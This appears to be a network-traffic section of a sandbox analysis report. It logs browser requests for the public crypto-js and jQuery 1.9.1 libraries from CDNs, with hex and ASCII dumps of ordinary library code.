2024-10-18 09:20:32 UTC	1378	IN	Data Raw: 65 63 74 6f 72 3b 0a 09 09 09 09 09 72 65 74 75 72 6e 20 74 68 69 73 3b 0a 09 09 09 09 7d 0a 0a 09 09 09 2f 2f 20 48 41 4e 44 4c 45 3a 20 24 28 65 78 70 72 2c 20 24 28 2e 2e 2e 29 29 0a 09 09 09 7d 20 65 6c 73 65 20 69 66 20 28 20 21 63 6f 6e 74 65 78 74 20 7c 7c 20 63 6f 6e 74 65 78 74 2e 6a 71 75 65 72 79 20 29 20 7b 0a 09 09 09 09 72 65 74 75 72 6e 20 28 20 63 6f 6e 74 65 78 74 20 7c 7c 20 72 6f 6f 74 6a 51 75 65 72 79 20 29 2e 66 69 6e 64 28 20 73 65 6c 65 63 74 6f 72 20 29 3b 0a 0a 09 09 09 2f 2f 20 48 41 4e 44 4c 45 3a 20 24 28 65 78 70 72 2c 20 63 6f 6e 74 65 78 74 29 0a 09 09 09 2f 2f 20 28 77 68 69 63 68 20 69 73 20 6a 75 73 74 20 65 71 75 69 76 61 6c 65 6e 74 20 74 6f 3a 20 24 28 63 6f 6e 74 65 78 74 29 2e 66 69 6e 64 28 65 78 70 72 29 0a 09 09 Data Ascii: ector;return this;}// HANDLE: $(expr, $(...))} else if ( !context \|\| context.jquery ) {return ( context \|\| rootjQuery ).find( selector );// HANDLE: $(expr, context)// (which is just equivalent to: $(context).find(expr)
2024-10-18 09:20:32 UTC	1378	IN	Data Raw: 20 61 6e 20 61 72 72 61 79 20 6f 66 20 65 6c 65 6d 65 6e 74 73 20 61 6e 64 20 70 75 73 68 20 69 74 20 6f 6e 74 6f 20 74 68 65 20 73 74 61 63 6b 0a 09 2f 2f 20 28 72 65 74 75 72 6e 69 6e 67 20 74 68 65 20 6e 65 77 20 6d 61 74 63 68 65 64 20 65 6c 65 6d 65 6e 74 20 73 65 74 29 0a 09 70 75 73 68 53 74 61 63 6b 3a 20 66 75 6e 63 74 69 6f 6e 28 20 65 6c 65 6d 73 20 29 20 7b 0a 0a 09 09 2f 2f 20 42 75 69 6c 64 20 61 20 6e 65 77 20 6a 51 75 65 72 79 20 6d 61 74 63 68 65 64 20 65 6c 65 6d 65 6e 74 20 73 65 74 0a 09 09 76 61 72 20 72 65 74 20 3d 20 6a 51 75 65 72 79 2e 6d 65 72 67 65 28 20 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 20 65 6c 65 6d 73 20 29 3b 0a 0a 09 09 2f 2f 20 41 64 64 20 74 68 65 20 6f 6c 64 20 6f 62 6a 65 63 74 20 6f 6e 74 6f 20 Data Ascii: an array of elements and push it onto the stack// (returning the new matched element set)pushStack: function( elems ) {// Build a new jQuery matched element setvar ret = jQuery.merge( this.constructor(), elems );// Add the old object onto
2024-10-18 09:20:32 UTC	1378	IN	Data Raw: 20 6a 51 75 65 72 79 20 6d 65 74 68 6f 64 2e 0a 09 70 75 73 68 3a 20 63 6f 72 65 5f 70 75 73 68 2c 0a 09 73 6f 72 74 3a 20 5b 5d 2e 73 6f 72 74 2c 0a 09 73 70 6c 69 63 65 3a 20 5b 5d 2e 73 70 6c 69 63 65 0a 7d 3b 0a 0a 2f 2f 20 47 69 76 65 20 74 68 65 20 69 6e 69 74 20 66 75 6e 63 74 69 6f 6e 20 74 68 65 20 6a 51 75 65 72 79 20 70 72 6f 74 6f 74 79 70 65 20 66 6f 72 20 6c 61 74 65 72 20 69 6e 73 74 61 6e 74 69 61 74 69 6f 6e 0a 6a 51 75 65 72 79 2e 66 6e 2e 69 6e 69 74 2e 70 72 6f 74 6f 74 79 70 65 20 3d 20 6a 51 75 65 72 79 2e 66 6e 3b 0a 0a 6a 51 75 65 72 79 2e 65 78 74 65 6e 64 20 3d 20 6a 51 75 65 72 79 2e 66 6e 2e 65 78 74 65 6e 64 20 3d 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 76 61 72 20 73 72 63 2c 20 63 6f 70 79 49 73 41 72 72 61 79 2c 20 63 Data Ascii: jQuery method.push: core_push,sort: [].sort,splice: [].splice};// Give the init function the jQuery prototype for later instantiationjQuery.fn.init.prototype = jQuery.fn;jQuery.extend = jQuery.fn.extend = function() {var src, copyIsArray, c
2024-10-18 09:20:32 UTC	1378	IN	Data Raw: 72 63 20 3a 20 5b 5d 3b 0a 0a 09 09 09 09 09 7d 20 65 6c 73 65 20 7b 0a 09 09 09 09 09 09 63 6c 6f 6e 65 20 3d 20 73 72 63 20 26 26 20 6a 51 75 65 72 79 2e 69 73 50 6c 61 69 6e 4f 62 6a 65 63 74 28 73 72 63 29 20 3f 20 73 72 63 20 3a 20 7b 7d 3b 0a 09 09 09 09 09 7d 0a 0a 09 09 09 09 09 2f 2f 20 4e 65 76 65 72 20 6d 6f 76 65 20 6f 72 69 67 69 6e 61 6c 20 6f 62 6a 65 63 74 73 2c 20 63 6c 6f 6e 65 20 74 68 65 6d 0a 09 09 09 09 09 74 61 72 67 65 74 5b 20 6e 61 6d 65 20 5d 20 3d 20 6a 51 75 65 72 79 2e 65 78 74 65 6e 64 28 20 64 65 65 70 2c 20 63 6c 6f 6e 65 2c 20 63 6f 70 79 20 29 3b 0a 0a 09 09 09 09 2f 2f 20 44 6f 6e 27 74 20 62 72 69 6e 67 20 69 6e 20 75 6e 64 65 66 69 6e 65 64 20 76 61 6c 75 65 73 0a 09 09 09 09 7d 20 65 6c 73 65 20 69 66 20 28 20 63 6f Data Ascii: rc : [];} else {clone = src && jQuery.isPlainObject(src) ? src : {};}// Never move original objects, clone themtarget[ name ] = jQuery.extend( deep, clone, copy );// Don't bring in undefined values} else if ( co
2024-10-18 09:20:33 UTC	1378	IN	Data Raw: 2c 20 64 65 63 72 65 6d 65 6e 74 2c 20 61 6e 64 20 77 61 69 74 20 69 66 20 6e 65 65 64 20 62 65 0a 09 09 69 66 20 28 20 77 61 69 74 20 21 3d 3d 20 74 72 75 65 20 26 26 20 2d 2d 6a 51 75 65 72 79 2e 72 65 61 64 79 57 61 69 74 20 3e 20 30 20 29 20 7b 0a 09 09 09 72 65 74 75 72 6e 3b 0a 09 09 7d 0a 0a 09 09 2f 2f 20 49 66 20 74 68 65 72 65 20 61 72 65 20 66 75 6e 63 74 69 6f 6e 73 20 62 6f 75 6e 64 2c 20 74 6f 20 65 78 65 63 75 74 65 0a 09 09 72 65 61 64 79 4c 69 73 74 2e 72 65 73 6f 6c 76 65 57 69 74 68 28 20 64 6f 63 75 6d 65 6e 74 2c 20 5b 20 6a 51 75 65 72 79 20 5d 20 29 3b 0a 0a 09 09 2f 2f 20 54 72 69 67 67 65 72 20 61 6e 79 20 62 6f 75 6e 64 20 72 65 61 64 79 20 65 76 65 6e 74 73 0a 09 09 69 66 20 28 20 6a 51 75 65 72 79 2e 66 6e 2e 74 72 69 67 67 65 Data Ascii: , decrement, and wait if need beif ( wait !== true && --jQuery.readyWait > 0 ) {return;}// If there are functions bound, to executereadyList.resolveWith( document, [ jQuery ] );// Trigger any bound ready eventsif ( jQuery.fn.trigge
2024-10-18 09:20:33 UTC	1378	IN	Data Raw: 7d 0a 0a 09 09 74 72 79 20 7b 0a 09 09 09 2f 2f 20 4e 6f 74 20 6f 77 6e 20 63 6f 6e 73 74 72 75 63 74 6f 72 20 70 72 6f 70 65 72 74 79 20 6d 75 73 74 20 62 65 20 4f 62 6a 65 63 74 0a 09 09 09 69 66 20 28 20 6f 62 6a 2e 63 6f 6e 73 74 72 75 63 74 6f 72 20 26 26 0a 09 09 09 09 21 63 6f 72 65 5f 68 61 73 4f 77 6e 2e 63 61 6c 6c 28 6f 62 6a 2c 20 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 20 26 26 0a 09 09 09 09 21 63 6f 72 65 5f 68 61 73 4f 77 6e 2e 63 61 6c 6c 28 6f 62 6a 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2e 70 72 6f 74 6f 74 79 70 65 2c 20 22 69 73 50 72 6f 74 6f 74 79 70 65 4f 66 22 29 20 29 20 7b 0a 09 09 09 09 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 0a 09 09 09 7d 0a 09 09 7d 20 63 61 74 63 68 20 28 20 65 20 29 20 7b 0a 09 09 09 2f 2f 20 49 45 38 2c 39 Data Ascii: }try {// Not own constructor property must be Objectif ( obj.constructor &&!core_hasOwn.call(obj, "constructor") &&!core_hasOwn.call(obj.constructor.prototype, "isPrototypeOf") ) {return false;}} catch ( e ) {// IE8,9

Timestamp	Bytes transferred	Direction	Data
2024-10-18 09:20:33 UTC	386	OUT	GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-18 09:20:34 UTC	960	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 09:20:33 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"61182885-40eb" Last-Modified: Sat, 14 Aug 2021 20:33:09 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 126517 Expires: Wed, 08 Oct 2025 09:20:33 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KVeYYvGOqqnAaMSAY%2FzPgu5B4y5Vg7ATobcpujf7Bv7N3OQ2a0bCwmaDgKfwossH9kUX1vnpKyGJINIFcX%2FPwnO%2BpvH13fUrazU1IawA462V48nb26K%2FbPF8tar9TpdiCEDSudUU"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8d4774046b7746a1-DFW alt-svc: h3=":443"; ma=86400
2024-10-18 09:20:34 UTC	409	IN	Data Raw: 37 62 66 31 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 2c 6f 2c 73 2c 61 2c 68 2c 74 2c 65 2c 6c 2c 72 2c 69 2c 63 2c 66 2c 64 2c 75 2c 70 2c 53 2c 78 2c 62 2c 41 2c 48 2c 7a 2c 5f 2c 76 2c 67 2c 79 2c 42 2c 77 2c 6b 2c 6d 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 3d 55 7c 7c 66 75 6e 63 74 69 6f 6e 28 68 29 7b Data Ascii: 7bf1!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){
2024-10-18 09:20:34 UTC	1369	IN	Data Raw: 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3f 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 69 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 76 61 72 20 72 3d 4f 62 6a 65 63 74 2e 63 72 Data Ascii: of globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.cr
2024-10-18 09:20:34 UTC	1369	IN	Data Raw: 2e 63 61 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 77 6f 72 64 73 3d 74 68 69 73 2e 77 6f 72 64 73 2e 73 6c 69 63 65 28 30 29 2c 74 7d 2c 72 61 6e 64 6f 6d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 72 3d 30 3b 72 3c 74 3b 72 2b 3d 34 29 65 2e 70 75 73 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 69 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 29 74 72 79 7b 72 65 74 75 72 6e 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 31 29 29 5b 30 5d 7d 63 61 74 63 68 28 74 29 7b 7d 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 72 61 6e 64 6f 6d 42 79 74 65 Data Ascii: .call(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],r=0;r<t;r+=4)e.push(function(){if(i){if("function"==typeof i.getRandomValues)try{return i.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof i.randomByte
2024-10-18 09:20:34 UTC	1369	IN	Data Raw: 79 70 65 6f 66 20 74 26 26 28 74 3d 66 2e 70 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 68 2e 63 65 69 6c 28 73 29 3a 68 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 6e 3d 68 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 61 3d 30 3b 61 3c Data Ascii: ypeof t&&(t=f.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?h.ceil(s):h.max((0\|s)-this._minBufferSize,0))o,n=h.min(4*c,n);if(c){for(var a=0;a<
2024-10-18 09:20:34 UTC	1369	IN	Data Raw: 28 76 61 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 45 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 45 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 45 5b 31 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 33 5d 3d 65 5b 33 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 32 5d 3e 3e 3e 30 3c 45 5b 32 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 34 5d 3d 65 5b 34 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 33 5d 3e 3e 3e 30 3c 45 5b 33 5d 3e 3e Data Ascii: (var t=this._X,e=this._C,r=0;r<8;r++)E[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<E[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<E[1]>>>0?1:0)\|0,e[3]=e[3]+1295307597+(e[2]>>>0<E[2]>>>0?1:0)\|0,e[4]=e[4]+3545052371+(e[3]>>>0<E[3]>>
2024-10-18 09:20:34 UTC	1369	IN	Data Raw: 3b 66 6f 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 3b 49 5b 72 5d 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 5e 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b 28 28 36 35 35 33 35 26 69 29 2a 69 7c 30 29 7d 74 5b 30 5d 3d 49 5b 30 5d 2b 28 49 5b 37 5d 3c 3c 31 36 7c 49 5b 37 5d 3e 3e 3e 31 36 29 2b 28 49 5b 36 5d 3c 3c 31 36 7c 49 5b 36 5d 3e 3e 3e 31 36 29 7c 30 2c 74 5b 31 5d 3d 49 5b 31 5d 2b 28 49 5b 30 5d 3c 3c 38 7c 49 5b 30 5d 3e 3e 3e 32 34 29 2b 49 5b 37 5d 7c 30 2c 74 5b 32 5d 3d 49 5b 32 5d 2b 28 49 5b 31 5d 3c 3c 31 36 7c 49 5b 31 5d 3e 3e 3e 31 36 29 2b 28 49 5b 30 5d 3c 3c 31 36 7c 49 5b Data Ascii: ;for(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16;I[r]=((nn>>>17)+no>>>15)+oo^((4294901760&i)i\|0)+((65535&i)*i\|0)}t[0]=I[0]+(I[7]<<16\|I[7]>>>16)+(I[6]<<16\|I[6]>>>16)\|0,t[1]=I[1]+(I[0]<<8\|I[0]>>>24)+I[7]\|0,t[2]=I[2]+(I[1]<<16\|I[1]>>>16)+(I[0]<<16\|I[
2024-10-18 09:20:34 UTC	1369	IN	Data Raw: 65 72 2c 74 2e 62 79 74 65 4f 66 66 73 65 74 2c 74 2e 62 79 74 65 4c 65 6e 67 74 68 29 3a 74 29 69 6e 73 74 61 6e 63 65 6f 66 20 55 69 6e 74 38 41 72 72 61 79 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 62 79 74 65 4c 65 6e 67 74 68 2c 72 3d 5b 5d 2c 69 3d 30 3b 69 3c 65 3b 69 2b 2b 29 72 5b 69 3e 3e 3e 32 5d 7c 3d 74 5b 69 5d 3c 3c 32 34 2d 69 25 34 2a 38 3b 73 2e 63 61 6c 6c 28 74 68 69 73 2c 72 2c 65 29 7d 65 6c 73 65 20 73 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2e 70 72 6f 74 6f 74 79 70 65 3d 50 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 55 2c 6e 3d 74 2e 6c 69 62 2e 57 6f 72 64 41 72 72 61 79 2c 74 3d 74 2e 65 6e 63 3b 74 2e 55 74 66 31 36 3d 74 2e 55 74 66 31 36 42 45 3d 7b 73 74 72 69 6e 67 69 66 79 3a Data Ascii: er,t.byteOffset,t.byteLength):t)instanceof Uint8Array){for(var e=t.byteLength,r=[],i=0;i<e;i++)r[i>>>2]\|=t[i]<<24-i%4*8;s.call(this,r,e)}else s.apply(this,arguments)}).prototype=P),function(){var t=U,n=t.lib.WordArray,t=t.enc;t.Utf16=t.Utf16BE={stringify:
2024-10-18 09:20:34 UTC	1369	IN	Data Raw: 63 68 61 72 41 74 28 36 34 29 3b 72 65 74 75 72 6e 21 6f 7c 7c 2d 31 21 3d 3d 28 6f 3d 74 2e 69 6e 64 65 78 4f 66 28 6f 29 29 26 26 28 65 3d 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 66 6f 72 28 76 61 72 20 69 3d 5b 5d 2c 6e 3d 30 2c 6f 3d 30 3b 6f 3c 65 3b 6f 2b 2b 29 7b 76 61 72 20 73 2c 63 3b 6f 25 34 26 26 28 73 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 2d 31 29 5d 3c 3c 6f 25 34 2a 32 2c 63 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 29 5d 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 63 3d 73 7c 63 2c 69 5b 6e 3e 3e 3e 32 5d 7c 3d 63 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 29 7d 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f Data Ascii: charAt(64);return!o\|\|-1!==(o=t.indexOf(o))&&(e=o),function(t,e,r){for(var i=[],n=0,o=0;o<e;o++){var s,c;o%4&&(s=r[t.charCodeAt(o-1)]<<o%42,c=r[t.charCodeAt(o)]>>>6-o%42,c=s\|c,i[n>>>2]\|=c<<24-n%4*8,n++)}return a.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLMNO
2024-10-18 09:20:34 UTC	1369	IN	Data Raw: 28 61 2e 73 69 6e 28 74 2b 31 29 29 7c 30 7d 28 29 3b 65 3d 65 2e 4d 44 35 3d 69 2e 65 78 74 65 6e 64 28 7b 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 68 61 73 68 3d 6e 65 77 20 72 2e 69 6e 69 74 28 5b 31 37 33 32 35 38 34 31 39 33 2c 34 30 32 33 32 33 33 34 31 37 2c 32 35 36 32 33 38 33 31 30 32 2c 32 37 31 37 33 33 38 37 38 5d 29 7d 2c 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 31 36 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 65 2b 72 2c 6e 3d 74 5b 69 5d 3b 74 5b 69 5d 3d 31 36 37 31 31 39 33 35 26 28 6e 3c 3c 38 7c 6e 3e 3e 3e 32 34 29 7c 34 32 37 38 32 35 35 33 36 30 26 28 6e 3c 3c 32 34 7c 6e 3e 3e 3e 38 29 7d 76 61 72 20 6f 3d 74 68 Data Ascii: (a.sin(t+1))\|0}();e=e.MD5=i.extend({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8\|n>>>24)\|4278255360&(n<<24\|n>>>8)}var o=th
2024-10-18 09:20:34 UTC	1369	IN	Data Raw: 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 42 2c 34 2c 41 5b 34 30 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 73 2c 31 31 2c 41 5b 34 31 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 68 2c 31 36 2c 41 5b 34 32 5d 29 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 64 2c 32 33 2c 41 5b 34 33 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 5f 2c 34 2c 41 5b 34 34 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 67 2c 31 31 2c 41 5b 34 35 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 6b 2c 31 36 2c 41 5b 34 36 5d 29 2c 6d 3d 44 28 6d 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 61 2c 32 33 2c 41 5b 34 37 5d 29 2c 78 2c 53 2c 73 2c 36 2c 41 5b 34 38 5d 29 2c 53 3d 44 28 53 2c 6d 2c 62 2c 78 2c 75 2c 31 30 2c 41 5b 34 39 5d 29 2c 78 3d 44 28 78 2c 53 2c 6d 2c 62 2c 77 2c 31 35 2c Data Ascii: ]),m=C(m,b,x,S,B,4,A[40]),S=C(S,m,b,x,s,11,A[41]),x=C(x,S,m,b,h,16,A[42]),b=C(b,x,S,m,d,23,A[43]),m=C(m,b,x,S,_,4,A[44]),S=C(S,m,b,x,g,11,A[45]),x=C(x,S,m,b,k,16,A[46]),m=D(m,b=C(b,x,S,m,a,23,A[47]),x,S,s,6,A[48]),S=D(S,m,b,x,u,10,A[49]),x=D(x,S,m,b,w,15,

Timestamp	Bytes transferred	Direction	Data
2024-10-18 09:20:35 UTC	354	OUT	GET /jquery-1.9.1.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-18 09:20:35 UTC	567	IN	HTTP/1.1 200 OK Connection: close Content-Length: 268381 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-4185d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Fri, 18 Oct 2024 09:20:35 GMT Age: 2594354 X-Served-By: cache-lga21952-LGA, cache-dfw-kdal2120046-DFW X-Cache: HIT, HIT X-Cache-Hits: 3, 1 X-Timer: S1729243235.319431,VS0,VE1 Vary: Accept-Encoding
2024-10-18 09:20:35 UTC	16384	IN	Data Raw: 2f 2a 21 0a 20 2a 20 6a 51 75 65 72 79 20 4a 61 76 61 53 63 72 69 70 74 20 4c 69 62 72 61 72 79 20 76 31 2e 39 2e 31 0a 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 2e 63 6f 6d 2f 0a 20 2a 0a 20 2a 20 49 6e 63 6c 75 64 65 73 20 53 69 7a 7a 6c 65 2e 6a 73 0a 20 2a 20 68 74 74 70 3a 2f 2f 73 69 7a 7a 6c 65 6a 73 2e 63 6f 6d 2f 0a 20 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 30 35 2c 20 32 30 31 32 20 6a 51 75 65 72 79 20 46 6f 75 6e 64 61 74 69 6f 6e 2c 20 49 6e 63 2e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 20 52 65 6c 65 61 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6c 69 63 65 6e 73 65 0a 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 0a 20 2a 0a 20 2a 20 44 Data Ascii: /! jQuery JavaScript Library v1.9.1 * http://jquery.com/ * * Includes Sizzle.js * http://sizzlejs.com/ * * Copyright 2005, 2012 jQuery Foundation, Inc. and other contributors * Released under the MIT license * http://jquery.org/license * * D
